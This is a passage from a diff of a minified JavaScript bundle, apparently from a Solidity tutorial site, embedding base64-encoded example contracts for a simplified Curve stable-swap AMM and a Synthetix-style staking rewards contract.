HlfcHJldjsKICAgICAgICAvLyBJbml0aWFsIGd1ZXNzLCB5IDw9IGQKICAgICAgICB1aW50IHkgPSBkOwogICAgICAgIGZvciAodWludCBfaTsgX2kgPCAyNTU7ICsrX2kpIHsKICAgICAgICAgICAgeV9wcmV2ID0geTsKICAgICAgICAgICAgeSA9ICh5ICogeSArIGMpIC8gKDIgKiB5ICsgYiAtIGQpOwogICAgICAgICAgICBpZiAoTWF0aC5hYnMoeSwgeV9wcmV2KSA8PSAxKSB7CiAgICAgICAgICAgICAgICByZXR1cm4geTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXZlcnQoInkgZGlkbid0IGNvbnZlcmdlIik7CiAgICB9CgogICAgLy8gRXN0aW1hdGUgdmFsdWUgb2YgMSBzaGFyZQogICAgLy8gSG93IG1hbnkgdG9rZW5zIGlzIG9uZSBzaGFyZSB3b3J0aD8KICAgIGZ1bmN0aW9uIGdldFZpcnR1YWxQcmljZSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludCkgewogICAgICAgIHVpbnQgZCA9IF9nZXREKF94cCgpKTsKICAgICAgICB1aW50IF90b3RhbFN1cHBseSA9IHRvdGFsU3VwcGx5OwogICAgICAgIGlmIChfdG90YWxTdXBwbHkgPiAwKSB7CiAgICAgICAgICAgIHJldHVybiAoZCAqIDEwICoqIERFQ0lNQUxTKSAvIF90b3RhbFN1cHBseTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIDA7CiAgICB9CgogICAgLyoqCiAgICAgKiBAbm90aWNlIFN3YXAgZHggYW1vdW50IG9mIHRva2VuIGkgZm9yIHRva2VuIGoKICAgICAqIEBwYXJhbSBpIEluZGV4IG9mIHRva2VuIGluCiAgICA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kZXIsIGR5KTsKICAgIH0KCiAgICBmdW5jdGlvbiBhZGRMaXF1aWRpdHkoCiAgICAgICAgdWludFtOXSBjYWxsZGF0YSBhbW91bnRzLAogICAgICAgIHVpbnQgbWluU2hhcmVzCiAgICApIGV4dGVybmFsIHJldHVybnMgKHVpbnQgc2hhcmVzKSB7CiAgICAgICAgLy8gY2FsY3VsYXRlIGN1cnJlbnQgbGlxdWlkaXR5IGQwCiAgICAgICAgdWludCBfdG90YWxTdXBwbHkgPSB0b3RhbFN1cHBseTsKICAgICAgICB1aW50IGQwOwogICAgICAgIHVpbnRbTl0gbWVtb3J5IG9sZF94cyA9IF94cCgpOwogICAgICAgIGlmIChfdG90YWxTdXBwbHkgPiAwKSB7CiAgICAgICAgICAgIGQwID0gX2dldEQob2xkX3hzKTsKICAgICAgICB9CgogICAgICAgIC8vIFRyYW5zZmVyIHRva2VucyBpbgogICAgICAgIHVpbnRbTl0gbWVtb3J5IG5ld194czsKICAgICAgICBmb3IgKHVpbnQgaTsgaSA8IE47ICsraSkgewogICAgICAgICAgICB1aW50IGFtb3VudCA9IGFtb3VudHNbaV07CiAgICAgICAgICAgIGlmIChhbW91bnQgPiAwKSB7CiAgICAgICAgICAgICAgICBJRVJDMjAodG9rZW5zW2ldKS50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50KTsKICAgICAgICAgICAgICAgIG5ld194c1tpXSA9IG9sZF94c1tpXSArIGFtb3VudCAqIG11bHRpcGxpZXJzW2ldOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgbmV3X3hzW2ldID0gb2xkX3hzW2ldOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAvLyBDYWxjdWxhdGUgbmV3IGxpcXVpZGl0eSBkMQogICAgICAgIHVpbnQgZDEgPSBfZ2V0RChuZXdfeHMpOwogICAgICAgIHJlcXVpcmUoZDEgPiBkMCwgImxpcXVpZGl0eSBkaWRuJ3QgaW5jcmVhc2UiKTsKCiAgICAgICAgLy8gUmVjY2FsY3VhdGUgRCBhY2NvdW50aW5nIGZvciBmZWUgb24gaW1iYWxhbmNlCiAgICAgICAgdWludCBkMjsKICAgICAgICBpZiAoX3RvdGFsU3VwcGx5ID4gMCkgewogICAgICAgICAgICBmb3IgKHVpbnQgaTsgaSA8IE47ICsraSkgewogICAgICAgICAgICAgICAgLy8gVE9ETzogd2h5IG9sZF94c1tpXSAqIGQxIC8gZDA/IHdoeSBub3QgZDEgLyBOPwogICAgICAgICAgICAgICAgdWludCBpZGVhbEJhbGFuY2UgPSAob2xkX3hzW2ldICogZDEpIC8gZDA7CiAgICAgICAgICAgICAgICB1aW50IGRpZmYgPSBNYXRoLmFicyhuZXdfeHNbaV0sIGlkZWFsQmFsYW5jZSk7CiAgICAgICAgICAgICAgICBuZXdfeHNbaV0gLT0gKExJUVVJRElUWV9GRUUgKiBkaWZmKSAvIEZFRV9ERU5PTUlOQVRPUjsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgZDIgPSBfZ2V0RChuZXdfeHMpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGQyID0gZDE7CiAgICAgICAgfQoKICAgICAgICAvLyBVcGRhdGUgYmFsYW5jZXMKICAgICAgICBmb3IgKHVpbnQgaTsgaSA8IE47ICsraSkgewogICAgICAgICAgICBiYWxhbmNlc1tpXSArPSBhbW91bnRzW2ldOwogICAgICAgIH0KCiAgICAgICAgLy8gU2hhcmVzIHRvIG1pbnQgPSAoZDIgLSBkMCkgLyBkMCAqIHRvdGFsIHN1cHBseQogICAgICAgIC8vIGQxID49IGQyID49IGQwCiAgICAgICAgaWYgKF90b3RhbFN1cHBseSA+IDApIHsKICAgICAgICAgICAgc2hhcmVzID0gKChkMiAtIGQwKSAqIF90b3RhbFN1cHBseSkgLyBkMDsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBzaGFyZXMgPSBkMjsKICAgICAgICB9CiAgICAgICAgcmVxdWlyZShzaGFyZXMgPj0gbWluU2hhcmVzLCAic2hhcmVzIDwgbWluIik7CiAgICAgICAgX21pbnQobXNnLnNlbmRlciwgc2hhcmVzKTsKICAgIH0KCiAgICBmdW5jdGlvbiByZW1vdmVMaXF1aWRpdHkoCiAgICAgICAgdWludCBzaGFyZXMsCiAgICAgICAgdWludFtOXSBjYWxsZGF0YSBtaW5BbW91bnRzT3V0CiAgICApIGV4dGVybmFsIHJldHVybnMgKHVpbnRbTl0gbWVtb3J5IGFtb3VudHNPdXQpIHsKICAgICAgICB1aW50IF90b3RhbFN1cHBseSA9IHRvdGFsU3VwcGx5OwoKICAgICAgICBmb3IgKHVpbnQgaTsgaSA8IE47ICsraSkgewogICAgICAgICAgICB1aW50IGFtb3VudE91dCA9IChiYWxhbmNlc1tpXSAqIHNoYXJlcykgLyBfdG90YWxTdXBwbHk7CiAgICAgICAgICAgIHJlcXVpcmUoYW1vdW50T3V0ID49IG1pbkFtb3VudHNPdXRbaV0sICJvdXQgPCBtaW4iKTsKCiAgICAgICAgICAgIGJhbGFuY2VzW2ldIC09IGFtb3VudE91dDsKICAgICAgICAgICAgYW1vdW50c091dFtpXSA9IGFtb3VudE91dDsKCiAgICAgICAgICAgIElFUkMyMCh0b2tlbnNbaV0pLnRyYW5zZmVyKG1zZy5zZW5kZXIsIGFtb3VudE91dCk7CiAgICAgICAgfQoKICAgICAgICBfYnVybihtc2cuc2VuZGVyLCBzaGFyZXMpOwogICAgfQoKICAgIC8qKgogICAgICogQG5vdGljZSBDYWxjdWxhdGUgYW1vdW50IG9mIHRva2VuIGkgdG8gcmVjZWl2ZSBmb3Igc2hhcmVzCiAgICAgKiBAcGFyYW0gc2hhcmVzIFNoYXJlcyB0byBidXJuCiAgICAgKiBAcGFyYW0gaSBJbmRleCBvZiB0b2tlbiB0byB3aXRoZHJhdwogICAgICogQHJldHVybiBkeSBBbW91bnQgb2YgdG9rZW4gaSB0byByZWNlaXZlCiAgICAgKiAgICAgICAgIGZlZSBGZWUgZm9yIHdpdGhkcmF3LiBGZWUgYWxyZWFkeSBpbmNsdWRlZCBpbiBkeQogICAgICovCiAgICBmdW5jdGlvbiBfY2FsY1dpdGhkcmF3T25lVG9rZW4oCiAgICAgICAgdWludCBzaGFyZXMsCiAgICAgICAgdWludCBpCiAgICApIHByaXZhdGUgdmlldyByZXR1cm5zICh1aW50IGR5LCB1aW50IGZlZSkgewogICAgICAgIHVpbnQgX3RvdGFsU3VwcGx5ID0gdG90YWxTdXBwbHk7CiAgICAgICAgdWludFtOXSBtZW1vcnkgeHAgPSBfeHAoKTsKCiAgICAgICAgLy8gQ2FsY3VsYXRlIGQwIGFuZCBkMQogICAgICAgIHVpbnQgZDAgPSBfZ2V0RCh4cCk7CiAgICAgICAgdWludCBkMSA9IGQwIC0gKGQwICogc2hhcmVzKSAvIF90b3RhbFN1cHBseTsKCiAgICAgICAgLy8gQ2FsY3VsYXRlIHJlZHVjdGlvbiBpbiB5IGlmIEQgPSBkMQogICAgICAgIHVpbnQgeTAgPSBfZ2V0WUQoaSwgeHAsIGQxKTsKICAgICAgICAvLyBkMSA8PSBkMCBzbyB5IG11c3QgYmUgPD0geHBbaV0KICAgICAgICB1aW50IGR5MCA9ICh4cFtpXSAtIHkwKSAvIG11bHRpcGxpZXJzW2ldOwoKICAgICAgICAvLyBDYWxjdWxhdGUgaW1iYWxhbmNlIGZlZSwgdXBkYXRlIHhwIHdpdGggZmVlcwogICAgICAgIHVpbnQgZHg7CiAgICAgICAgZm9yICh1aW50IGo7IGogPCBOOyArK2opIHsKICAgICAgICAgICAgaWYgKGogPT0gaSkgewogICAgICAgICAgICAgICAgZHggPSAoeHBbal0gKiBkMSkgLyBkMCAtIHkwOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgLy8gZDEgLyBkMCA8PSAxCiAgICAgICAgICAgICAgICBkeCA9IHhwW2pdIC0gKHhwW2pdICogZDEpIC8gZDA7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgeHBbal0gLT0gKExJUVVJRElUWV9GRUUgKiBkeCkgLyBGRUVfREVOT01JTkFUT1I7CiAgICAgICAgfQoKICAgICAgICAvLyBSZWNhbGN1bGF0ZSB5IHdpdGggeHAgaW5jbHVkaW5nIGltYmFsYW5jZSBmZWVzCiAgICAgICAgdWludCB5MSA9IF9nZXRZRChpLCB4cCwgZDEpOwogICAgICAgIC8vIC0gMSB0byByb3VuZCBkb3duCiAgICAgICAgZHkgPSAoeHBbaV0gLSB5MSAtIDEpIC8gbXVsdGlwbGllcnNbaV07CiAgICAgICAgZmVlID0gZHkwIC0gZHk7CiAgICB9CgogICAgZnVuY3Rpb24gY2FsY1dpdGhkcmF3T25lVG9rZW4oCiAgICAgICAgdWludCBzaGFyZXMsCiAgICAgICAgdWludCBpCiAgICApIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludCBkeSwgdWludCBmZWUpIHsKICAgICAgICByZXR1cm4gX2NhbGNXaXRoZHJhd09uZVRva2VuKHNoYXJlcywgaSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBAbm90aWNlIFdpdGhkcmF3IGxpcXVpZGl0eSBpbiB0b2tlbiBpCiAgICAgKiBAcGFyYW0gc2hhcmVzIFNoYXJlcyB0byBidXJuCiAgICAgKiBAcGFyYW0gaSBUb2tlbiB0byB3aXRoZHJhdwogICAgICogQHBhcmFtIG1pbkFtb3VudE91dCBNaW5pbXVtIGFtb3VudCBvZiB0b2tlbiBpIHRoYXQgbXVzdCBiZSB3aXRoZHJhd24KICAgICAqLwogICAgZnVuY3Rpb24gcmVtb3ZlTGlxdWlkaXR5T25lVG9rZW4oCiAgICAgICAgdWludCBzaGFyZXMsCiAgICAgICAgdWludCBpLAogICAgICAgIHVpbnQgbWluQW1vdW50T3V0CiAgICApIGV4dGVybmFsIHJldHVybnMgKHVpbnQgYW1vdW50T3V0KSB7CiAgICAgICAgKGFtb3VudE91dCwgKSA9IF9jYWxjV2l0aGRyYXdPbmVUb2tlbihzaGFyZXMsIGkpOwogICAgICAgIHJl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luZGV4ZWQgc3BlbmRlciwgdWludCBhbW91bnQpOwp9Cg=="}],kA=`

                    Simplified version of Curve's stable swap AMM

                    // SPDX-License-Identifier: MIT
                     pragma solidity ^0.8.20;
                     
                    @@ -4665,7 +4665,7 @@ Topics
                         event Transfer(address indexed from, address indexed to, uint amount);
                         event Approval(address indexed owner, address indexed spender, uint amount);
                     }
                    -
                    `,bA=({prev:s,next:a})=>i.jsx(u,{version:jA,title:uA,description:yA,html:AA,prev:s,next:a,codes:mA}),wA="0.8.20",kA="Staking Rewards",ZA="Staking rewards contract based on Synthetix StakingRewards.sol",WA=[{fileName:"StakingRewards.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFN0YWtpbmdSZXdhcmRzIHsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHN0YWtpbmdUb2tlbjsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHJld2FyZHNUb2tlbjsKCiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKCiAgICAvLyBEdXJhdGlvbiBvZiByZXdhcmRzIHRvIGJlIHBhaWQgb3V0IChpbiBzZWNvbmRzKQogICAgdWludCBwdWJsaWMgZHVyYXRpb247CiAgICAvLyBUaW1lc3RhbXAgb2Ygd2hlbiB0aGUgcmV3YXJkcyBmaW5pc2gKICAgIHVpbnQgcHVibGljIGZpbmlzaEF0OwogICAgLy8gTWluaW11bSBvZiBsYXN0IHVwZGF0ZWQgdGltZSBhbmQgcmV3YXJkIGZpbmlzaCB0aW1lCiAgICB1aW50IHB1YmxpYyB1cGRhdGVkQXQ7CiAgICAvLyBSZXdhcmQgdG8gYmUgcGFpZCBvdXQgcGVyIHNlY29uZAogICAgdWludCBwdWJsaWMgcmV3YXJkUmF0ZTsKICAgIC8vIFN1bSBvZiAocmV3YXJkIHJhdGUgKiBkdCAqIDFlMTggLyB0b3Rhb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Jlc3MoMCkpIHsKICAgICAgICAgICAgcmV3YXJkc1tfYWNjb3VudF0gPSBlYXJuZWQoX2FjY291bnQpOwogICAgICAgICAgICB1c2VyUmV3YXJkUGVyVG9rZW5QYWlkW19hY2NvdW50XSA9IHJld2FyZFBlclRva2VuU3RvcmVkOwogICAgICAgIH0KCiAgICAgICAgXzsKICAgIH0KCiAgICBmdW5jdGlvbiBsYXN0VGltZVJld2FyZEFwcGxpY2FibGUoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50KSB7CiAgICAgICAgcmV0dXJuIF9taW4oZmluaXNoQXQsIGJsb2NrLnRpbWVzdGFtcCk7CiAgICB9CgogICAgZnVuY3Rpb24gcmV3YXJkUGVyVG9rZW4oKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50KSB7CiAgICAgICAgaWYgKHRvdGFsU3VwcGx5ID09IDApIHsKICAgICAgICAgICAgcmV0dXJuIHJld2FyZFBlclRva2VuU3RvcmVkOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuCiAgICAgICAgICAgIHJld2FyZFBlclRva2VuU3RvcmVkICsKICAgICAgICAgICAgKHJld2FyZFJhdGUgKiAobGFzdFRpbWVSZXdhcmRBcHBsaWNhYmxlKCkgLSB1cGRhdGVkQXQpICogMWUxOCkgLwogICAgICAgICAgICB0b3RhbFN1cHBseTsKICAgIH0KCiAgICBmdW5jdGlvbiBzdGFrZSh1aW50IF9hbW91bnQpIGV4dGVybmFsIHVwZGF0ZVJld2FyZChtc2cuc2VuZGVyKSB7CiAgICAgICAgcmVxdWlyZShfYW1vdW50ID4gMCwgImFtb3VudCA9IDAiKTsKICAgICAgICBzdGFraW5nVG9rZW4udHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIF9hbW91bnQpOwogICAgICAgIGJhbGFuY2VPZlttc2cuc2VuZGVyXSArPSBfYW1vdW50OwogICAgICAgIHRvdGFsU3VwcGx5ICs9IF9hbW91bnQ7CiAgICB9CgogICAgZnVuY3Rpb24gd2l0aGRyYXcodWludCBfYW1vdW50KSBleHRlcm5hbCB1cGRhdGVSZXdhcmQobXNnLnNlbmRlcikgewogICAgICAgIHJlcXVpcmUoX2Ftb3VudCA+IDAsICJhbW91bnQgPSAwIik7CiAgICAgICAgYmFsYW5jZU9mW21zZy5zZW5kZXJdIC09IF9hbW91bnQ7CiAgICAgICAgdG90YWxTdXBwbHkgLT0gX2Ftb3VudDsKICAgICAgICBzdGFraW5nVG9rZW4udHJhbnNmZXIobXNnLnNlbmRlciwgX2Ftb3VudCk7CiAgICB9CgogICAgZnVuY3Rpb24gZWFybmVkKGFkZHJlc3MgX2FjY291bnQpIHB1YmxpYyB2aWV3IHJldHVybnMgKHVpbnQpIHsKICAgICAgICByZXR1cm4KICAgICAgICAgICAgKChiYWxhbmNlT2ZbX2FjY291bnRdICoKICAgICAgICAgICAgICAgIChyZXdhcmRQZXJUb2tlbigpIC0gdXNlclJld2FyZFBlclRva2VuUGFpZFtfYWNjb3VudF0pKSAvIDFlMTgpICsKICAgICAgICAgICAgcmV3YXJkc1tfYWNjb3VudF07CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0UmV3YXJkKCkgZXh0ZXJuYWwgdXBkYXRlUmV3YXJkKG1zZy5zZW5kZXIpIHsKICAgICAgICB1aW50IHJld2FyZCA9IHJld2FyZHNbbXNnLnNlbmRlcl07CiAgICAgICAgaWYgKHJld2FyZCA+IDApIHsKICAgICAgICAgICAgcmV3YXJkc1ttc2cuc2VuZGVyXSA9IDA7CiAgICAgICAgICAgIHJld2FyZHNUb2tlbi50cmFuc2Zlcihtc2cuc2VuZGVyLCByZXdhcmQpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBzZXRSZXdhcmRzRHVyYXRpb24odWludCBfZHVyYXRpb24pIGV4dGVybmFsIG9ubHlPd25lciB7CiAgICAgICAgcmVxdWlyZShmaW5pc2hBdCA8IGJsb2NrLnRpbWVzdGFtcCwgInJld2FyZCBkdXJhdGlvbiBub3QgZmluaXNoZWQiKTsKICAgICAgICBkdXJhdGlvbiA9IF9kdXJhdGlvbjsKICAgIH0KCiAgICBmdW5jdGlvbiBub3RpZnlSZXdhcmRBbW91bnQoCiAgICAgICAgdWludCBfYW1vdW50CiAgICApIGV4dGVybmFsIG9ubHlPd25lciB1cGRhdGVSZXdhcmQoYWRkcmVzcygwKSkgewogICAgICAgIGlmIChibG9jay50aW1lc3RhbXAgPj0gZmluaXNoQXQpIHsKICAgICAgICAgICAgcmV3YXJkUmF0ZSA9IF9hbW91bnQgLyBkdXJhdGlvbjsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICB1aW50IHJlbWFpbmluZ1Jld2FyZHMgPSAoZmluaXNoQXQgLSBibG9jay50aW1lc3RhbXApICogcmV3YXJkUmF0ZTsKICAgICAgICAgICAgcmV3YXJkUmF0ZSA9IChfYW1vdW50ICsgcmVtYWluaW5nUmV3YXJkcykgLyBkdXJhdGlvbjsKICAgICAgICB9CgogICAgICAgIHJlcXVpcmUocmV3YXJkUmF0ZSA+IDAsICJyZXdhcmQgcmF0ZSA9IDAiKTsKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICByZXdhcmRSYXRlICogZHVyYXRpb24gPD0gcmV3YXJkc1Rva2VuLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKSwKICAgICAgICAgICAgInJld2FyZCBhbW91bnQgPiBiYWxhbmNlIgogICAgICAgICk7CgogICAgICAgIGZpbmlzaEF0ID0gYmxvY2sudGltZXN0YW1wICsgZHVyYXRpb247CiAgICAgICAgdXBkYXRlZEF0ID0gYmxvY2sudGltZXN0YW1wOwogICAgfQoKICAgIGZ1bmN0aW9uIF9taW4odWludCB4LCB1aW50IHkpIHByaXZhdGUgcHVyZSByZXR1cm5zICh1aW50KSB7CiAgICAgICAgcmV0dXJuIHggPD0geSA/IHggOiB5OwogICAgfQp9CgppbnRlcmZhY2UgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIHRvdGFsU3VwcGx5KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50KTsKCiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBhY2NvdW50KSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQpOwoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CgogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50KTsKCiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludCBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbSgKICAgICAgICBhZGRyZXNzIHNlbmRlciwKICAgICAgICBhZGRyZXNzIHJlY2lwaWVudCwKICAgICAgICB1aW50IGFtb3VudAogICAgKSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKCiAgICBldmVudCBUcmFuc2ZlcihhZGRyZXNzIGluZGV4ZWQgZnJvbSwgYWRkcmVzcyBpbmRleGVkIHRvLCB1aW50IHZhbHVlKTsKICAgIGV2ZW50IEFwcHJvdmFsKGFkZHJlc3MgaW5kZXhlZCBvd25lciwgYWRkcmVzcyBpbmRleGVkIHNwZW5kZXIsIHVpbnQgdmFsdWUpOwp9Cg=="}],BA=`

                    This is a minimal example of a contract that rewards users for staking their token.

                    +`,ZA=({prev:s,next:a})=>i.jsx(u,{version:mA,title:AA,description:bA,html:kA,prev:s,next:a,codes:wA}),WA="0.8.20",BA="Staking Rewards",GA="Staking rewards contract based on Synthetix StakingRewards.sol",fA=[{fileName:"StakingRewards.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saW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MgPT4gc3Rha2VkIGFtb3VudAogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQpIHB1YmxpYyBiYWxhbmNlT2Y7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfc3Rha2luZ1Rva2VuLCBhZGRyZXNzIF9yZXdhcmRUb2tlbikgewogICAgICAgIG93bmVyID0gbXNnLnNlbmRlcjsKICAgICAgICBzdGFraW5nVG9rZW4gPSBJRVJDMjAoX3N0YWtpbmdUb2tlbik7CiAgICAgICAgcmV3YXJkc1Rva2VuID0gSUVSQzIwKF9yZXdhcmRUb2tlbik7CiAgICB9CgogICAgbW9kaWZpZXIgb25seU93bmVyKCkgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSBvd25lciwgIm5vdCBhdXRob3JpemVkIik7CiAgICAgICAgXzsKICAgIH0KCiAgICBtb2RpZmllciB1cGRhdGVSZXdhcmQoYWRkcmVzcyBfYWNjb3VudCkgewogICAgICAgIHJld2FyZFBlclRva2VuU3RvcmVkID0gcmV3YXJkUGVyVG9rZW4oKTsKICAgICAgICB1cGRhdGVkQXQgPSBsYXN0VGltZVJld2FyZEFwcGxpY2FibGUoKTsKCiAgICAgICAgaWYgKF9hY2NvdW50ICE9IGFkZHJlc3MoMCkpIHsKICAgICAgICAgICAgcmV3YXJkc1tfYWNjb3VudF0gPSBlYXJuZWQoX2FjY291bnQpOwogICAgICAgICAgICB1c2VyUmV3YXJkUGVyVG9rZW5QYWlkW19hY2NvdW50XSA9IHJld2FyZFBlclRva2VuU3RvcmVkOwogICAgICAgIH0KCiAgICAgICAgXzsKICAgIH0KCiAgICBmdW5jdGlvbiBsYXN0VGltZVJld2FyZEFwcGxpY2FibGUoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50KSB7CiAgICAgICAgcmV0dXJuIF9taW4oZmluaXNoQXQsIGJsb2NrLnRpbWVzdGFtcCk7CiAgICB9CgogICAgZnVuY3Rpb24gcmV3YXJkUGVyVG9rZW4oKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50KSB7CiAgICAgICAgaWYgKHRvdGFsU3VwcGx5ID09IDApIHsKICAgICAgICAgICAgcmV0dXJuIHJld2FyZFBlclRva2VuU3RvcmVkOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuCiAgICAgICAgICAgIHJld2FyZFBlclRva2VuU3RvcmVkICsKICAgICAgICAgICAgKHJld2FyZFJhdGUgKiAobGFzdFRpbWVSZXdhcmRBcHBsaWNhYmxlKCkgLSB1cGRhdGVkQXQpICogMWUxOCkgLwogICAgICAgICAgICB0b3RhbFN1cHBseTsKICAgIH0KCiAgICBmdW5jdGlvbiBzdGFrZSh1aW50IF9hbW91bnQpIGV4dGVybmFsIHVwZGF0ZVJld2FyZChtc2cuc2VuZGVyKSB7CiAgICAgICAgcmVxdWlyZShfYW1vdW50ID4gMCwgImFtb3VudCA9IDAiKTsKICAgICAgICBzdGFraW5nVG9rZW4udHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIF9hbW91bnQpOwogICAgICAgIGJhbGFuY2VPZlttc2cuc2VuZGVyXSArPSBfYW1vdW50OwogICAgICAgIHRvdGFsU3VwcGx5ICs9IF9hbW91bnQ7CiAgICB9CgogICAgZnVuY3Rpb24gd2l0aGRyYXcodWludCBfYW1vdW50KSBleHRlcm5hbCB1cGRhdGVSZXdhcmQobXNnLnNlbmRlcikgewogICAgICAgIHJlcXVpcmUoX2Ftb3VudCA+IDAsICJhbW91bnQgPSAwIik7CiAgICAgICAgYmFsYW5jZU9mW21zZy5zZW5kZXJdIC09IF9hbW91bnQ7CiAgICAgICAgdG90YWxTdXBwbHkgLT0gX2Ftb3VudDsKICAgICAgICBzdGFraW5nVG9rZW4udHJhbnNmZXIobXNnLnNlbmRlciwgX2Ftb3VudCk7CiAgICB9CgogICAgZnVuY3Rpb24gZWFybmVkKGFkZHJlc3MgX2FjY291bnQpIHB1YmxpYyB2aWV3IHJldHVybnMgKHVpbnQpIHsKICAgICAgICByZXR1cm4KICAgICAgICAgICAgKChiYWxhbmNlT2ZbX2FjY291bnRdICoKICAgICAgICAgICAgICAgIChyZXdhcmRQZXJUb2tlbigpIC0gdXNlclJld2FyZFBlclRva2VuUGFpZFtfYWNjb3VudF0pKSAvIDFlMTgpICsKICAgICAgICAgICAgcmV3YXJkc1tfYWNjb3VudF07CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0UmV3YXJkKCkgZXh0ZXJuYWwgdXBkYXRlUmV3YXJkKG1zZy5zZW5kZXIpIHsKICAgICAgICB1aW50IHJld2FyZCA9IHJld2FyZHNbbXNnLnNlbmRlcl07CiAgICAgICAgaWYgKHJld2FyZCA+IDApIHsKICAgICAgICAgICAgcmV3YXJkc1ttc2cuc2VuZGVyXSA9IDA7CiAgICAgICAgICAgIHJld2FyZHNUb2tlbi50cmFuc2Zlcihtc2cuc2VuZGVyLCByZXdhcmQpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBzZXRSZXdhcmRzRHVyYXRpb24odWludCBfZHVyYXRpb24pIGV4dGVybmFsIG9ubHlPd25lciB7CiAgICAgICAgcmVxdWlyZShmaW5pc2hBdCA8IGJsb2NrLnRpbWVzdGFtcCwgInJld2FyZCBkdXJhdGlvbiBub3QgZmluaXNoZWQiKTsKICAgICAgICBkdXJhdGlvbiA9IF9kdXJhdGlvbjsKICAgIH0KCiAgICBmdW5jdGlvbiBub3RpZnlSZXdhcmRBbW91bnQoCiAgICAgICAgdWludCBfYW1vdW50CiAgICApIGV4dGVybmFsIG9ubHlPd25lciB1cGRhdGVSZXdhcmQoYWRkcmVzcygwKSkgewogICAgICAgIGlmIChibG9jay50aW1lc3RhbXAgPj0gZmluaXNoQXQpIHsKICAgICAgICAgICAgcmV3YXJkUmF0ZSA9IF9hbW91bnQgLyBkdXJhdGlvbjsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICB1aW50IHJlbWFpbmluZ1Jld2FyZHMgPSAoZmluaXNoQXQgLSBibG9jay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mgc3BlbmRlciwgdWludCBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbSgKICAgICAgICBhZGRyZXNzIHNlbmRlciwKICAgICAgICBhZGRyZXNzIHJlY2lwaWVudCwKICAgICAgICB1aW50IGFtb3VudAogICAgKSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKCiAgICBldmVudCBUcmFuc2ZlcihhZGRyZXNzIGluZGV4ZWQgZnJvbSwgYWRkcmVzcyBpbmRleGVkIHRvLCB1aW50IHZhbHVlKTsKICAgIGV2ZW50IEFwcHJvdmFsKGFkZHJlc3MgaW5kZXhlZCBvd25lciwgYWRkcmVzcyBpbmRleGVkIHNwZW5kZXIsIHVpbnQgdmFsdWUpOwp9Cg=="}],VA=`

                    This is a minimal example of a contract that rewards users for staking their token.

                    Code is a stripped down version of Synthetix StakingRewards.sol

                    Staking Rewards

                    // SPDX-License-Identifier: MIT
                    @@ -4814,7 +4814,7 @@ Topics
                         event Transfer(address indexed from, address indexed to, uint value);
                         event Approval(address indexed owner, address indexed spender, uint value);
                     }
                    -
